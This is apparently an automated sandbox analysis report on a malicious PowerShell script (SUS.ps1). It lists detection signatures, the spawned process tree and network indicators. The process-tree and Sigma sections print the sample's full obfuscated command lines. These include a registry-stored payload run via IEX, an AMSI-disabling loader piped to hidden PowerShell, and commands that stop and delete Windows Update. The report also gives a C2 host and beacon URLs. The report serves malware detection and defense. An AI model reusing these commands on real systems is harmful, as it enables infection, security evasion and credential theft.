Edit tour

Windows Analysis Report
SUS.ps1

Overview

General Information

Sample name:	SUS.ps1
Analysis ID:	1607783
MD5:	f85f710cb9208db9a5795c6aa73b7819
SHA1:	f35a5f68a3f3aae842d491fa2d11671ae588f854
SHA256:	e3a3fd70840d9c8a402880ee7d0d9c3e7435c1329d074c45a31f97a35dd83d46
Infos:

Detection

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Yara detected Powershell decode and execute

Yara detected UAC Bypass using CMSTP

Changes security center settings (notifications, updates, antivirus, firewall)

Disable Windows Notification Center

Disable Windows Toast Notifications

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Obfuscated command line found

Powershell drops PE file

Sample is not signed and drops a device driver

Stops critical windows services

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Uses cmd line tools excessively to alter registry or file data

Uses powercfg.exe to modify the power settings

Yara detected WebBrowserPassView password recovery tool

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May initialize a security null descriptor

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Potential Dosfuscation Activity

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64_ra

powershell.exe (PID: 3552 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6164 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7160 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 6712 cmdline: "C:\Windows\Sysnative\cmd.exe" /C "echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^^^|%{[char]($_/4)})-join'') ^^^| ^^^&($oktoundiveemzaynfo) | %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3684 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^|%{[char]($_/4)})-join'') ^| ^&($oktoundiveemzaynfo) " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 3008 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2740 cmdline: "C:\Windows\system32\cmd.exe" /C reg query HKCU\Software\Ucizah /v efxucieqo MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 7108 cmdline: reg query HKCU\Software\Ucizah /v efxucieqo MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 5764 cmdline: /C sc stop wuauserv MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

sc.exe (PID: 4540 cmdline: sc stop wuauserv MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 408 cmdline: /C sc config wuauserv start= disabled MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

sc.exe (PID: 6692 cmdline: sc config wuauserv start= disabled MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 6724 cmdline: /C sc delete wuauserv MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

sc.exe (PID: 1608 cmdline: sc delete wuauserv MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 2356 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 3424 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 1448 cmdline: /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 1284 cmdline: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 6176 cmdline: /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 2740 cmdline: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 1228 cmdline: /C powercfg -hibernate off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powercfg.exe (PID: 6900 cmdline: powercfg -hibernate off MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

svchost.exe (PID: 3740 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 7084 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 6508 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5444 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 5724 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 1608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 5508 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SUS.ps1	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: powershell.exe PID: 3552	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1ff00:$b2: ::FromBase64String( 0x1003a:$s1: -join 0x10170:$s1: -join 0x1025a:$s1: -join 0x105e6:$s1: -join 0x10726:$s1: -join 0x10735:$s1: -join 0x1091c:$s1: -join 0x10ad3:$s1: -join 0x10d87:$s1: -join 0x10f13:$s1: -join 0x10ff0:$s1: -join 0x110c5:$s1: -join 0x11127:$s1: -join 0x111f1:$s1: -join 0x11289:$s1: -join 0x1132a:$s1: -join 0x1137e:$s1: -join 0x114c2:$s1: -join 0x11509:$s1: -join 0x11578:$s1: -join
Process Memory Space: powershell.exe PID: 6164	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: powershell.exe PID: 6164	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 8 entries

Other

Source	Rule	Description	Author	Strings
amsi64_3552.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1", ProcessId: 3552, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3008, TargetFilename: C:\Users\user\AppData\Roaming\ALSysIO64.sys

Sigma detected: Potential Dosfuscation Activity

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\Sysnative\cmd.exe" /C "echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^^^|%{[char]($_/4)})-join'') ^^^| ^^^&($oktoundiveemzaynfo) | %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", CommandLine: "C:\Windows\Sysnative\cmd.exe" /C "echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,40

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1", ProcessId: 3552, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7160, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Cryptography
• Exploits
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://host85500.info:15322	Avira URL Cloud: Label: malware
Source: https://host85500.info:15322/gauxwasdds	Avira URL Cloud: Label: malware
Source: https://host85500.info:15322/gauxwasdds(-c	Avira URL Cloud: Label: malware

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 90.7% probability

Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxGHwM5xDQ9xvMAHV/MI6HBBqQMirX68cHGsqIUWk10gOdJKHyJjSfx1PWh7LBUwasEpv4KMA2biSBEeopsu6/hgVgnpRGgbxbz3rQI9VnqJ/1ngd+Q8zV2OtAq4GMfT8vdGATMwj9J4N7EpIkZs/vJUpcV5dUo6/wvmZY/aQSGaptdZHvVz8WOmX95pwwcUg3cGJlNNGZ0xFJeeov//cmAe57IgFPCpk5+pntFauQnpn6JPdgnv48AEtx0OKUCnGZcuJCVsuG+mx5kxvnIG/UfPPRWJIsC+a4UdnQcQSgt3ZgfaW7ikuqMhvRhI9S8TM5SsE4Zb3weEFiSQhaBeqLwIDAQAB-----END PUBLIC KEY-----

memstr_6bd66608-8

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6164, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 142.4.219.198:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.4.219.198:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.56.240.132:443 -> 192.168.2.16:49717 version: TLS 1.2

Source:	Binary string: c:\users\win7\desktop\equinox\equinox\source\kernel_driver\objfre_win7_amd64\amd64\equinox.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\sys\x64\Release\ProcExpDriver.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\programming\coretemp\coretemp\alsysio\source\lib\amd64\ALSysIO64.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr
Source:	Binary string: ('f:\programming\coretemp\coretemp\alsysio\source\lib\amd64\ALSysIO64.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr

Source: global traffic

TCP traffic: 192.168.2.16:49704 -> 45.93.9.167:15322

Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/b_dGVzdA==_ HTTP/1.1Host: s4.histats.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/a_dGVzdA==_ HTTP/1.1Host: s4.histats.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 142.4.219.198 142.4.219.198
Source: Joe Sandbox View	IP Address: 149.56.240.132 149.56.240.132

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_elevated_true HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5_b HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5 HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_after_load_failure HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: s4.histats.comConnection: CloseCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/b_dGVzdA==_ HTTP/1.1Host: s4.histats.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/a_dGVzdA==_ HTTP/1.1Host: s4.histats.comConnection: Keep-Alive
